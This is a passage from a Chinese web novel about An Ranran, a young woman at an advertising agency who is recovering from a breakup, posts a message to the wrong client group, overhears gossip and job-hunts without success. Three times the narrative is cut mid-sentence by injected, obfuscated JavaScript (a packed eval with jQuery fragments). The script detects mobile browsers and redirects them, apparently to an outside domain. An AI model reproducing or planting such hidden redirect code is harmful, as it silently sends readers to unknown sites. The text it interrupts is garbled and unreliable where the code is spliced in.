而车上十分热闹,占据了商务车前面位置的男性工作人员——这辆车上只有我和女模特是女性——他们大声讨论回市区后去哪里喝一杯,哪个酒吧里美女多。
我坐在商务车的最后面,女模特和我坐在同一排。薄薄的纱裙摊开来,她抱着自己的胳膊靠在车窗上,长发盖住了半边脸。
车里空调的温度打得很低。那杯热茶带来的温度,早已在最后拍摄的冷风骤雨中消失殆尽,现在更觉得冷风穿过毛孔透过皮肤,一点点浸润骨髓。
我往角落里缩了缩,塞上耳机,打开音乐软件,靠着椅背,闭目养神。
打了个喷嚏之后,感觉脑袋越来越沉……突然我被一阵急促的电话吵醒。
“冉冉,你发错群了。赶紧撤回来。”
我迷惘混沌,完全搞不清情况,瓮声瓮气地问:“什么发错了?”
“微信!赶紧看微信!撤回来!”孟猛的声音像是在空中劈了个叉。
打开微信一看,我整个人裂开了——“怎么说呢,拍到最后,女模特有一种支离破碎的美感。就婚纱主题来说,有些讽刺,婚姻只能带给女性破碎……” ——我把应该在小群里回复的消息发在了WH的工作对接群里。
我急切地按在那条信息上,看见“撤回”两个字的时候,差点哭出来。我满怀希望按下去,哭都没眼泪了——弹出提示“该消息超过撤回时间,不能被撤回。”
迟迟不愿意点“确定”,那条提示就横亘在屏幕上。
“你怎么还没撤回啊?”孟猛的电话又call了进来。
“撤不回了……”
我的鼻音很重,孟猛以为我哭了。
“你别哭啊……其实也没有……那么严重……”
他的话音还没落,微信弹出一条新消息:“老大脸很臭,大概你明天进公司会看到活阎王。保重。”
看着萌萌发来的微信,我的心脏猛地一跳,胃紧紧揪在一起。外面又开始下雨,噼啪打在车窗上。
耳机不能隔绝他们的欢声笑语,我更觉得难以忍受。
我明白,他们完成了今日份工作,开心是应该的。可是,有一种几乎难以抑制的冲动,差点让我喊叫出来——闭嘴,全都给我闭嘴!
右手紧紧捂住自己的嘴巴,生怕叫骂从缝隙里冲出去。
人类的悲喜从来不同。
内部小群沉默着,工作对接群也沉默着。山雨欲来风满楼。
旁边的女模特递过来一瓶风油精,“搽一点会好受点。”
我冲她扯出个笑容,告诉她,我没有晕车。
“只是想哭。”我没说出口。
他们把我放在了地铁口,我恍惚着去坐地铁,恍惚着回到家,恍惚着泡了澡,恍惚着喝了两袋泡得浓浓的板蓝根。
睡一觉就好了,睡一觉就好了……我碎碎念着。
我知道自己还是感冒了,迷迷糊糊的,牙签都撑不住眼皮,脑子却异常清醒。我对自己说,了不起就是被骂一顿,还能怎么样呢?
可是,白天的一幕一幕像是电影重演,只要我闭上眼睛,就在眼前自动放映。
在梦里,周明凯盯着我,冷漠且厌恶。
15. 第 15 章
今天上班的心情像是上坟。
因为焦虑,我才睡了不足三小时。自然又是一副肿胀的猪头样,我安慰自己:惨一点或许能多拿一些同情分。
八点半就到了公司,刷了门禁之后,我深深呼吸了几次才敢进办公室。
把包掼在椅子上,四下环顾——从我的工位走到老板办公室,要先经过三排位置,绕过大半个办公室,实在太过瞩目。我巴不得自己像只蚂蚁,别人不抬脚都不会发现踩着了。
会议室倒是跟他的办公室只有一墙之隔。
我惴惴不安地在会议室里走来走去,脑子转动的速度第一次跟心跳同频——露西最不喜欢下属解释,在她眼里,所有的解释都等于反驳和狡辩,她只需要下属安静地被她训斥。不知道新任领导是何种风格。只能随机应变。
走动的同时还得分神注意隔壁动静,十几分钟过得像两个钟头一样漫长。
隔壁办公室有动静了!我噤声、屏住呼吸,拖沓着脚步走向他的办公室。
……
“Lucy,我向总部申请的是营销部门的同事支持。”
“Raymond,原先我就跟你说过了,目前集团没有新增HC,我们这里的人手也很紧张。你当时说,有营销背景就可以了。Monica可是市场营销专业毕业的。如果你实在不满意,那就退回来好了。”
周明凯依然很冷静,“Lucy,FLola Qian能不能借调过来一个季度?”
“不好意思哦,Raymond,FLola目前手上有两个大case。还是那句话,你不然先用Monica吧,有人总比没人强是不是?如果三个月试用不满意,你直接写report好了。”她顿了顿,“要是你觉得她实在不行,也可以直接向上面反馈辞退她。”
他办公室的门虚掩着,谈话内容,我听得清清楚楚。
原本还想着怎么跟周明凯说明情况,现在我觉得可以直接打包走人了。准备趁没人发现溜回工位,可我的双腿僵硬动弹不得。就在我像个木桩子一样杵在那儿的时候,周明凯拉开了门。
我的心脏剧烈地跳动。最近的倒霉份额也太多了点!
他愣了一下,随即恢复了冷峻。单从他的脸色上,看不出一点端倪。
“我正准备找你。进来说吧。”
我木然地拖着两条腿,不知道自己是否姿态狼狈。可就算现在我仪态万千,在周明凯眼里,应该也不过是废物花瓶一个。
“关上门……”外面渐渐响起的声响,代表着这一天的工作时间开始。
“安冉然……WH那边对接人Vivian投诉了你。”周明凯开门见山,没给我留一丝缓冲的空间。
我没吭声。
“不解释下?”
还没等我张嘴,鼻涕已经先于语言行动。我猛地吸了一下鼻子,可惜,任何的自由落体都非人力可控——我清晰地感觉到鼻涕缓缓地沿着原先路径移动——眼巴巴盯着他桌子上的抽纸,亟需一张来缓解窘迫。
他瞥我一眼,抽出一张纸递到我面前。
简直要感激涕零,实际上,也确实是涕零。
接下来,沉默的尴尬蔓延。空气里弥漫着令人窒息的压力。
我应该解释,但我该说什么呢?眼下,我生着病,萎靡不振,刚刚听到我的上司想要换掉我……我能说什么呢?“对不起,我太大意了”,“对不起,发错群是我的错”,“对不起,我不是故意的”……无论说什么,听上去都像狡辩。
他看我一眼,“首先说明一下,我这里不养闲人。”
心里先是咯噔了一下,随后反而释然了,至少打破了让我无所遁形的压抑。
我咬了下嘴唇,内心盘算:被辞退和自己提离职,都是丢饭碗,但自动离职,听上去没那么丢人。可被公司辞退的话,是不是会补偿几个月工资?我得罪了客户,要是丢了单,别说补偿,搞不好是我赔偿公司。
没有任何意义的念头在我脑子里来回窜,毫无章法,混乱不堪。
又一个念头浮上来:即使不辞退我,我也是该自己走人的——失恋还要天天跟婚纱钻戒打交道,每天都在让人窒息的甜蜜中反刍痛苦,对我来说很残忍。绞尽脑汁为这些婚礼必需品做策划推销,大概没人能比我更直白贴合“为他人做嫁衣”的字面意思。
必须得承认,我在为自己被扫地出门做心理建设,同时也在开导自己,甚至可以说,我在为自己的不堪一击找借口。
继续不吭声。我实在没什么可说的。
“另外,说下我的规则,办公室里只能从事与工作相关的事情。也许行政工作事情少,女孩子习惯聊八卦吃零食,但在这个办公室不允许。”
我在心里翻了个白眼,这个所谓的精英,还带着对女性或者工种的职业歧视。这不允许那不允许,我都要滚蛋了,还说这些干什么?
他停顿了片刻,我仍然眼观鼻,鼻观心,一声不吭。
周明凯似乎轻轻叹了口气,“没有实操经验,多问问孟猛和小萌他们。你有理论基础,多用点心,实操几个月应该就能上手。”
我愕然,瞪大眼睛望着他,这是不打算辞退我?
“你原先不在营销部门工作,没有对接过客户,犯错情有可原。但低级错误,希望不要再犯。”
我赶紧点头,生怕晚了一秒他会改变主意。然后,等着他继续训斥。
根据我的经验,最少得半小时。
在总部,露西骂人都是半小时起步,“你是猪脑子吗?!这么点小事都干不好”,“行政工作有什么难度?”,“请你还不如请头驴”,“除了我,哪个老板还能忍受你的蠢!”
……
“不就是让你定个机票,都能定错!”
——她前一天要求晚上飞,说白天约了人赶不上下午的班次;下午四点到了机场。
“就让你改签个机票,有那么难吗?”
——她没赶上飞机,当天机票都卖空了。
“公司没预算吗,让我住这种垃圾酒店!”
——在旺季出差,临时要求换酒店,我费了牛劲给她找到了酒店。
——她在酒店房间里打电话骂了我一个小时。
这类事情层出不穷,似乎没有一件事情能够顺顺利利,不出一点幺蛾子。我在越来越厌恶她的同时陷入了自我怀疑,是不是真的如她所说,我的工作能力太差,才导致每次交到我手里的工作都完成得磕磕绊绊。
……
没有责骂,一道清冷的声音问:“知道自己错哪儿了吗?”
我艰难地从牙齿缝里挤出在喉咙里徘徊的解释:“没看清楚,把私人微信发到了客户对接群。”
他一副后槽牙疼的表情。
“首先,跟客户对接的材料都应该邮件发送,微信里告知;其次,任何要发的材料和信息发送前都要再三核对,包括语法、措辞、别字和收件人。这是最基本的工作习惯。”
我呆呆站在原地,像被一道突如其来的天雷劈中了。“最基本的工作习惯”,这几个字深深刺痛了我,仿佛一只巨大的红色马克笔从头到脚给我打了叉,然后在旁边标上“不及格”。
不知道过了多久,听见那道清冷的声音从头顶上传过来:“你还有事儿?”
“啊?”我愣在那儿,过了一会儿才摇摇头,“没……没事儿。”
他看了看腕表,“我马上有个线上会议。没事的话,你先出去吧。”
我颤巍巍地问:“客户那边……”
“我已经处理好了。下不为例。”
我更木然了。就这样?结束了?可是为什么,我比以前挨骂的时候更难过呢?
从周明凯办公室出来,我使劲揉了揉眼睛,感觉像是有东西迷了眼。抬头向上望一望天花板,努力不眨眼睛,生怕鼻涕之外的液体不受控制地落下来。
“冉冉,你没事吧?我跟Vivian私下道过歉了,老大也跟他们聊过了……”
我刚回到工位,孟猛就凑了过来。
他盯着我看,懊恼地说:“老大骂你了?哎……早知道就不让你发会议总结了。”
萌萌和小妍围了上来,她们七嘴八舌的安慰,让我更加感觉羞愧,也感觉陌生。在总部,没有人会关心你挨骂了,为什么挨骂,只会庆幸被骂的不是自己。
“冉冉,你别往心里去。老大对事不对人。”
“谁还会不犯错误,我刚来那时候也经常犯错。孟猛刚来那半年,也没少得罪客户。”
我还没来得及感伤,就听孟猛嘀咕:“怎么安慰人还带翻黑历史的?”
没有一个人怪我搞砸了,也没有人指桑骂槐或者装作关心看笑话,都是真心实意怕我受打击。我强打精神,扯出笑容,“我没事儿,谢谢大家关心。”
他们看上去不太相信的样子,尤其是孟猛,“老大骂人可凶了,你真没事儿啊?”
我不知道该怎么接,总不能说周明凯没骂我,感觉像是特殊对待。突然鼻子发痒,我赶紧抽了张纸巾捂住口鼻,紧接着打了一个大喷嚏。我的眼泪和鼻涕齐飞,顺利转移了注意力。
“肯定是昨天去蔚蓝海岸冻感冒了。”
小妍和萌萌七手八脚给我找感冒药,孟猛让我请病假回去休息。我借口去洗手间——在办公室哭太难看了。
关上门,我的眼泪马上不受控制像开了闸一样涌出来。然后,听见一个尖细一个柔弱的说话声,她们在谈论昨天的事情。
无论是在哪儿,只要有人的地方就有八卦,流言蜚语的传播速度总是意想不到的迅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672119|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
速。
“听说了吗?老板被WH集团的头儿骂得狗血喷头,差点取消和我们的合作……”尖细嗓有一种不自觉的卖弄,就好像是那种拿到独家消息的小报记者。
我一惊。
“真的假的?真要取消合作啊?那一组新来的市场营销专业高材生不是无用武之地了吗?”
尽管说的话像是担心,可幸灾乐祸和嗤之以鼻从字里行间满溢出来,落井下石的意味明显。
“哪门子的高材生?搞砸专业的吧……听说什么都不懂,就是她得罪了金主爸爸。”
我第一次知道自己是塞进来的关系户,也第一次知道我的第一学历变成了大专,还第一次在这听说我跟WH集团开会迟到刷耍大牌……
“你小点声。”
“还怕一组听见啊?老板就是偏心,WH这种案子让孟猛带个废物做,还不如交给我们。”
“那也没辙,谁让老板原先就是一组的头。”
“凭什么好资源都是他们一组的。那个废物连IMC和CVR都不知道,要是让她去主导PPM,还不被甲方笑掉大牙?我们GT在行业里什么地位,真以为什么人都能在这做业务啊。”
我缩在门后面,五味杂陈。
突然,砰地一声,隔壁的门打开了。
“我们一组的事儿轮得到你们在这嚼舌根?!给M.C提案的广告创意跟坨屎一样,被投诉的时候怎么没这么大声。”
“怎么说话呢?!”尖细嗓“万事通”立马高声抗议。
“你怎么说话,我就怎么说话!”她说话又快又密,像机关枪扫射,“你刚刚问凭什么?我告诉你凭什么!就凭你们的年终奖都靠我们一组发的。”
那两个女的噤了声。又是一声哐当声,应该是她摔门出去了。
过了片刻,才有人说话。
“切……神气什么,不就是个执行人员。”万事通忿忿不平。
“别说了。”另外那个柔弱女压低声音说:“上次瑶瑶差点搞砸的那个案子是她救的场,只有她的设计过了稿。”
设计!是觅觅!
等外面彻底安静下来之后,我打开门走了出去。
我没有想到,职场上的正面硬刚会以这样的形式,在我面前铺陈开来。更准确地说,我压根没想过,原来职场上可以硬刚。这一刻,我大概领会了,什么叫做在绝对实力面前,别的不值一提。
回到工位前,我多看了觅觅一眼。她的脸上没有表情,盯着电脑,一脸严肃。不知道是不是感觉到我在看她,她抬眼看了我,我慌忙转过脸,目不斜视,装作若无其事。
眼睛粘在屏幕上,但我的心思已经飞出很远——在此之前,我只对分公司有模糊的了解,对所在的一组完全没了解,我朦朦胧胧感觉到,一组似乎是分公司的王牌。
我悄悄问孟猛一组是不是分公司业绩最好的部门。
“开玩笑,何止分公司,应该是整个GT……乃至广告界最能打的团队。”孟猛骄傲地昂着头,“我们给品牌做的营销案,拿奖是家常便饭。”
听孟猛说完,我更忐忑不安。跟他们比起来,我就是个拖后腿的。
况且周明凯已经向露西提过借调FLola,搞不好接下来就会招聘新人。但他为什么要留下我呢?也许只是过渡,等新人到岗了,我就该滚蛋了。
我惴惴不安,茫然中想着自己应该做些什么,可我要做什么,我能做什么呢?
在下班之前,我接到了另一个噩耗。
孟猛告诉我,Vivian要求换对接人。
还没等我有片刻庆幸,他说:“她指定你对接。”
我怀疑自己听错了,也许感冒让我产生了幻觉,要不然怎么他说的每一个字我都能听懂,但连在一起,我却不明白呢。
“你刚刚说什么?”下意识地问了出来。
孟猛又重复了一遍,然后说,他会跟我一起跟进。
我很想问,是我疯了还是Vivian疯了?她不是才刚刚投诉过我吗?难道她不应该要求周明凯把我换掉吗?指定我对接?怎么会指定我对接??
在事情变得更坏之前,我必须要做点什么。
晚上回到家,久违地刷起了招聘网站。整体浏览了招聘网站,放出职位的单位不少,虽然薪资有些差强人意,好歹还是有职位空缺的。如果对薪资要求不高的话,大概应该可能是能找到工作的吧?
更新完简历后细细筛选了一圈,投了十几家。
关掉Ipad,我深深呼出一口气,看来市场并没有我想象中那么差。我重新燃起了希望。
很难得,我在接近十二点的时候昏昏欲睡。
可是……我高兴得太早了,昏昏欲睡不代表真的能睡着,我睁着眼睛听见了清晨的鸟鸣声。
16. 第 16 章
持续性失眠正式入侵我的生活。
凌晨1:59还没睡着,考虑是不是要吃一颗安眠药。可又害怕自己以后会彻底依赖上它,在反反复复的纠结中,最后还是决定不吃。
后果就是我在凌晨3:30终于有了睡意,在4:45醒了。眼睛酸涩胀痛,脑袋却清醒得像喝了一公升的咖啡……
当然,我有很多很多的时间,可以煮咖啡,洗衣服,清扫地面,整理房间,跑步,洗澡,吃早餐……可是,我一样都不想干。异常突兀的,我想阅读,我的眼睛又疼得要命。
我提醒自己要谨慎对待咖啡摄入,它很容易让我陷入到困—用咖啡提神—晚上继续亢奋—第二天接着困的恶性循环当中。
天阴沉得想要把我压扁,我报复性摄入了大量可乐。糖分不是号称多巴胺来源吗?可是碳酸饮料除了让我一个接一个打嗝之外,没有带来任何快乐。
不能明目张胆在公司电脑上浏览职位,我下载了APP。
尽管醒得早,但在发呆和处理杂事的间歇中,时间还是飞快地溜走。很快就到了上班时间。
早餐也没吃上,外面还下起了雨。
轻薄的雨像棉线,想方设法避开雨伞粘在身上。心情如同蛛丝网一样,沾染了潮气。
此时的温度并不像初夏,反而像是秋末。萧瑟的凉意,我没带外套就出了门,走去地铁站的路上竟然感觉有些寒凉。弱冷车厢已经挤满了人,只能硬着头皮挤上普通车厢。空调温度打得极低,冻得我打了个哆嗦。
靠着扶手杆刷求职APP,投出去的简历全都石沉大海,没有回复。
大概是太早了,人事都还没开始看简历吧。我给自己打气。
衣服并没有淋湿,只是湿润透过纯棉衣料紧紧贴在了皮肤上,若有似无的湿气沿着周身游走,让人不适。
我在工位上神不守舍,时时刻刻想去看手机,会不会错过人事的消息呢?我在简历上留了联系方式吧?
纠结了半天,还是偷偷摸摸打开了APP,刚点开职位展示页,孟猛突然探过头问我中午要不要去吃酸辣粉,吓得我一哆嗦,茶水从手边的杯子里晃出来。慌忙反手把手机扣在桌子上,拒绝了他的邀请,拿纸巾东擦一下西擦一下掩饰心虚。
装作忙碌的两个小时里,没有人给我打电话,也没有消息,连垃圾短信也没有。办公室里只有偶尔走动的脚步声,安静得让人难受。
我揣着手机去了茶水间,翻开自己投过的职位,细细查阅任职资格——本科及以上学历,三年以上行政经验,能够熟练使用办公软件,具备组织沟通协调能力……一条条跟自己对照,明明完全匹配。那些工作内容也都是我熟悉的。当然,工作描述不会详尽列出软性要求,那些是留待后续面试考察的;跨越过简历筛选那道门槛,之后就是看眼缘了。
昨晚投的都是经过挑选的企业,无一例外都是大公司,要么外企要么国企,当然排除了日韩企业。我对民营公司没有太大好感,对台湾香港公司也是如此。它们标榜自己是“非欧美外资”,在我看来,他们不过是私人企业,还不如民营公司。在台湾公司工作的那一年半,堪称是职业生涯中的暗夜。
来来回回又看了看,没有新的职位,仍然是筛选过的那些。我犹豫着是不是应该放下成见,把投递范围拓宽一些——印象中有几家民营公司,规模挺大的,看上去像是还不错的样子。
内心打鼓,求职对于我来说,已经遥远而陌生。我早已丧失了求职节奏的敏感度,而对于自己能匹配上的公司,更是没有一点把握。
……
安静了接近二十个小时的WH-GT工作对接群突然有了动静。
Vivian拉了个人进群,向我们介绍是新的对接人,叫Jessie。
Jessie表现得一派友好,只是对上次的会议总结问了几个无关痛痒的问题。但她的态度显得非常微妙。既没有要求我们出提案,也没有对上次语焉不详的会议提出质疑,只是问我们什么时候有空,可以约个时间,双方见面开个会,对齐一下目前的进度,以期尽快有实质性的进展。
简而言之,就是除了约了个会议外,仍然没有进一步推进。
“这个Jessie说话很有一套嘛。”萌萌盯着微信,托着下巴若有所思。
孟猛整个人靠着办公椅,晃动着腿,信誓旦旦地推测,Jessie就是想摸下我们的实力。正好我们也可以看看,这个Jessie是个什么来头。
我浑浑噩噩地点点头,没有任何想法。
萌萌通过她在业内的人脉摸了一下Jessie的底细,全组通报了她获得的最新信息:WH集团的市场部分为品牌管理部和数字营销部,是同一个老大管。这个Jessie前不久刚从品牌管理部调过来,这次的项目是她调到数字营销部门的第一个项目。
觅觅有些不理解,问出了我的疑惑,“照这么说,她不更应该着急做好这项目吗?”
萌萌用手指叩击桌子,意味深长地说:“敌不动我不动,她显然不想暴露自己的真实想法。我再找伙计们深入了解点情况。”
我和孟猛对视了一眼——Jessie对这次合作必然要求很高,也是一个不好应付的主。接下来的苦日子有迹可循了。
没想到,到了下午,Jessie突然调转了风向,说她已经研
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672120|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
究了最近比较火的营销新玩法,有一些想法,想跟我们快速交流下。下周我们可以带着实际成果去现场,讨论后她提修改意见,GT后续修改,这样效率更高。
孟猛叹了口气,说客户没想法可怕,客户有想法更可怕。
当时我还不理解这句话,接下来真是见证了,什么叫过来人踩过的坑绝对是血和泪的教训。
Jessie提出的想法听上去并不难:做一张主题海报,为下个月的婚纱周造势——纯宣传,体现品牌调性。
老实说,这不算营销新玩法,甚至算不上有新意的营销。可甲方提了,我们就得配合。
孟猛和我聊了聊,有了大概思路后跟觅觅沟通了客户需求。觅觅去干活儿了,孟猛有另外两个客户的项目需要跟进,我心想,这个试单大概也许应该能顺利推进。
我时不时偷偷刷一刷招聘网站,在心不在焉和忐忑不安中结束了今天不算忙碌的工作。
接下来的几天,投出去的简历没有一百也有八十,可我仍然没有收到任何面试电话。随着日子一天天过去,求职的心态发生了微妙的变化,我坐立不安,恨不得五分钟刷一次网站。从精挑细选自己感兴趣的公司到压根不管公司规模和性质,还不到一周。量变引起质变,投的企业多,总归会有几家中的吧?
海投了几百家仍然没有任何回复,我彻底慌了。那些职位是真实存在的吗?哪些公司真的有招聘计划吗?鬼使神差,我去搜了下GT的招聘。行政专员岗还没招到合适的人,职位仍然有效;营销经理职位倒是没看见,我略微安心了点。
我在另外两个网站也更新了简历,这次我不再矫情,直接海投。
其中有一家网站能看到简历投递后的查阅情况:我的简历显示被好几个企业查看过,然而没有下文,没人联系我。也就是说,的确有企业在招聘,我的简历也的确被人看过了,但……我没有被看上。
GT尽管不能跟人数众多的大公司相提并论,可也不是名不见经传的小企业。我实在不明白为什么投出去的简历,连一点回音都没有。
我使尽了全身的力气,才抑制住铺天盖地的失望与委屈,连衣服都没脱就钻进被子里。长长地叹气。我在T市可能永远都找不到别的工作了。
公寓里有个小浴缸。曾经,我无比希望家里有个浴缸,可以放上大半浴缸水,滴上几滴精油,撒上玫瑰花瓣,整个人躺进去舒服地泡澡。浴缸上得放一个置物架,在上面放着气泡酒和冰激淋,还得有小音响。听着舒缓轻柔的音乐喝酒泡澡,那一定是最美妙最享受的时光。
现在,我只是淡漠地看着它,别说泡澡,就连站着淋浴,都让我精疲力竭。
17. 第 17 章
一大早,办公室里洋溢着莫名其妙的喜悦,我刚进办公室就察觉到了。还是原先那个办公室,但空气里散发着微妙的如游丝一般的甜蜜气息,就像是蜜蜂闯入了百花园。
是有什么好事发生吗?
从十点多开始,陆续有快递小哥跑上楼送花。收到花的妹子们自然是喜气洋洋,原先我还在纳闷,今天究竟是什么日子?原来是520。不知道同胞们为什么如此热爱节日,单单爱情这个名目,除了国外引进的情人节,还有白色情人节,中国古典七夕,甚至还开发出了谐音梗的520和521。
我们这排的工位和二组三组那两排的工位形成鲜明对比,她们那边花团锦簇,红玫瑰已经不稀奇了,还有我叫不出名字的各种奇花异草,比如像中了毒一样的暗紫色花儿。我们这边光秃秃的,一束花都没有,只有两盆美化办公室的绿萝。今天,我们被那二组在节日氛围上比了下去。
觅觅翻了个白眼,“真搞不懂,怎么有那么多被商家洗脑的小傻瓜。今天鲜花价格翻倍都不止。”
我打开购物软件,往下翻动浏览——果真如觅觅所说,鲜花的价格水涨船高,尤其是红玫瑰,成了大热门,两百块起步。而我,其实也曾是兴高采烈的“小傻瓜”,对所谓的“仪式感”非常重视,刚开始恋爱的时候,如果肖平520不买花和礼物,我就会给他甩脸子。
后来,花没有了,礼物没有了,不过他会红包转账,520元。聊胜于无吧。
今年,一切都没有了。不会再有人给我发520红包,也没有人可以让我发脾气了。
一种不明所以的情绪在胸腔里蔓延,我分辨不出那是什么。是悲伤吗?有一些,但也不是那么多。或许比起悲痛,更多的是茫然的慌乱,就像是“蓦然回首,无人在灯火阑珊处”的那种凄凉和慌张,他本该在那里的,但却不在了。
我不明白,为什么命运总是这么残忍,总是在你感觉略微好一点的时候给予一记重拳。它大概非常享受人们被打倒在地苟延残喘的模样,乐此不疲地抖动着它手上的棒子,像逗弄小猫一样,看着我们上蹿下跳,在我们以为自己要抓住时,猛然将它抽走,任由我们扑倒在地上。它噙着笑,就那样看着我们为失去而哭泣。
煎熬,空气一点点抽离……我努力装出一副举重若轻的样子。
“有些人,吃不到葡萄就说葡萄酸。”
思绪被这一句讥笑拉回来,是二组的薛旻,她斜着眼看着觅觅。
觅觅压根不理她。
我逐渐咂摸出,在厕所说八卦的那两个人大概是谁了。二组的凌双双,长得一副娇弱小白花的样子,是做文案的,平时看着与人无争,但聊八卦总有她,还喜欢带节奏。另一个更明显,就这个薛旻,她总是有意无意地用那种我偷了她家大米的眼神看我,常常透露出不屑的样子。上次厕所事件之后,她经常找觅觅的茬,但每次都让觅觅冷眼怼回去了。
“跟上辈子没见过花儿似的。”小妍嘟囔了一句,继续埋头干活。
更绝的是老板周明凯,他进会议室前说了一句,明天让绿植公司多摆点绿色盆栽,鲜花就别送了。
原本收到花的姑娘们异常兴奋,在老板不经意的打击下,丧失了显摆和炫耀的欲望,安安静静进入工作状态。
快到午休的时候,又有快递小哥陆陆续续送花来,只不过都不是红玫瑰。一束向日葵送给了小妍,一束粉白郁金香送给觅觅,还有一束红白相间火鹤花是给萌萌的,最后送到的那一束是白百合和一种我不认识的蓝紫色花朵。
正在想这束花也不知道是送给谁的,挺特别的。我的电话响了。快递小哥在门口喊:“你是安冉然小姐吗?出来拿下花。”
我一脸懵,签收完抱着花回到工位,跟她们大眼瞪小眼。
薛旻跟旁边人大声讨论,“这种日子送什么奇奇怪怪的花,谁知道是不是自己买了充场面。”
小妍直接怼了过去,“红玫瑰才俗气。”
谜团的解开居然不费吹灰之力,孟猛在我们的小群里冒了泡——姐姐妹妹们,对收到的花还满意吗?我可是让花店老板亲自挑选搭配的,特意要求每一束都要与众不同。
觅觅缓缓打出的几个字让原本尾巴都快翘上天还在求表扬的孟猛瞬间泄气。
——花店老板没觉得你是渣男吗?
孟猛这才反应过来,为什么那个温婉大方的花店老板看他的眼神怪怪的。他当时还自豪地认为,那是赞赏!
——现在澄清还来得及吗?哭脸.jpg。
在这个特殊的日子里,大部分姑娘心思浮动,距离下班还有半小时,已经陆陆续续有人去洗手间补妆了。墙上的钟秒针刚跨过数字5,姑娘们就像飞出鸟笼的小鸟一样欢乐地踏出了办公室。不到十分钟,整个办公室只剩下了我们一组人。
周明凯从办公室出来,扫视了一下办公室,望向我们,“一起去吃饭?”
孟猛还没开口,萌萌赶紧举手表态,“老大,我有活动了。”
随着他的视线所及,原先没安排的妹子们,突然忙碌了起来。觅觅说她约了闺蜜逛街,小妍说她同学过来找她。
也是,520没活动就已经挺无趣了;一群人一起过520,更尴尬。
他看向我的时候,我还没想好借口,她们把我能想的借口都说了——也不知道,老板是真不知道今天是什么日子,还是正因为知道是什么日子而无法忍受孤独和寂寞。
孟猛没憋住,“老大,今天520,我们单身狗就别去找不自在了。”
周明凯环视四周,眼神落在那些艳丽的花朵上,似乎才反应过来,办公室的红玫瑰,原来不是绿植公司更换花卉,而是姑娘们收到的礼物。
他自嘲似的笑了笑,“对这个节日已经太陌生了,大家早点回家吧,周末愉快。”
周明凯刚走,我们也准备收拾收拾,各自去消化“光棍节”。
孟猛侧坐在他自己的桌子上,一腿支地,“反正大家都没活动,去外面吃饭也都要排队,不如点外卖在公司开OT吧?”
萌萌冲着他翻了个白眼,“你才是没人约的单身狗!我们都忙着呢。”
没有一个人动弹。
想想也是,今天这日子,已经跟圣诞节、元旦等各
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672121|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种节日并驾齐驱,成为单身人士觅食困难日了。其实,街边小餐馆大概是不排队的,但路上都是腻歪的小情侣,可能还没吃上饭就已经被腻歪饱了。
提不提加班成了下一个议题,提加班的话就相当于跟全公司宣告我们是一群实打实的单身狗,可不提加班,在这干耗着也没什么必要。
我跟觅觅倒是有充足的理由,毕竟下周二得带着修改稿去见Jessie。孟猛因为时间冲突逃过一劫。
“跟什么过不去也不能跟钱过不去。”
萌萌带头提了加班申请,提完加班,突然觉得今晚有了奔头。孟猛开玩笑说,我们应该只过528,我爱发发发发……
萌萌的座机响了,她接起来后一脸尴尬,“老大……是我提的……我朋友临时有事,活动取消了……”随后,狠狠瞪了一眼孟猛。
我们都忘记了一件很重要的事,OT申请会直接到老板那儿。
等萌萌挂了电话,孟猛小心翼翼地问:“老大怎么说?”
萌萌没好气地怼了他一句,“老大说,不批OT,让我们都早点回去,别在公司混加班费。”
“真的假的?”孟猛摸了摸后脑勺,“老大不夸我们勤勉就算了,居然还批评……我知道了,老大绝对是在报复我们不带他。”
“老大说他点了匹萨,过会儿送过来。让我们吃完饭就回去。”萌萌又瞪了孟猛一眼,“你可别说话了。”
我们垂头丧气吃完匹萨之后各自散了。
满大街的荷尔蒙气息,逼得我加快速度逃离街道。整个世界像个巨大的蜜罐子,甜腻的味道让我头脑发晕,曾经的甜蜜片段窜了出来,像是卡带的爱情片突然恢复播放……
动用了所有力气压下去的情绪在这一刻溃不成军,细密的疼痛一点点从皮肤里渗出来,为什么失恋不能用吗啡止疼?
治疗失恋只有两条法则:一、迅速投入下一段,二、让工作占据你所有的时间,日以继夜,累得没有任何一丝力气。那所谓的回忆,也就无从攻击。
回忆?回忆!你能不能离我远点儿?!
曾经有人说,没有回忆的人生是一片荒漠;但我现在只希望自己失忆。我相信,如果没有了它,我的世界会更美好。人类为什么还没进化到能够处理自己的记忆:一键删除,再对回收站一次性粉碎清除,永不恢复。
我还爱肖平吗?
这是个我一直不想问自己的问题,因为我没有答案。如果还爱他,是不是不会像现在这样,只是偶尔还想起他;可如果不再爱他,为什么回忆会让我疼痛?
我尽力躲开人群,浑浑噩噩跌跌撞撞地回家。
等我醒过神来,天已经黑透了。
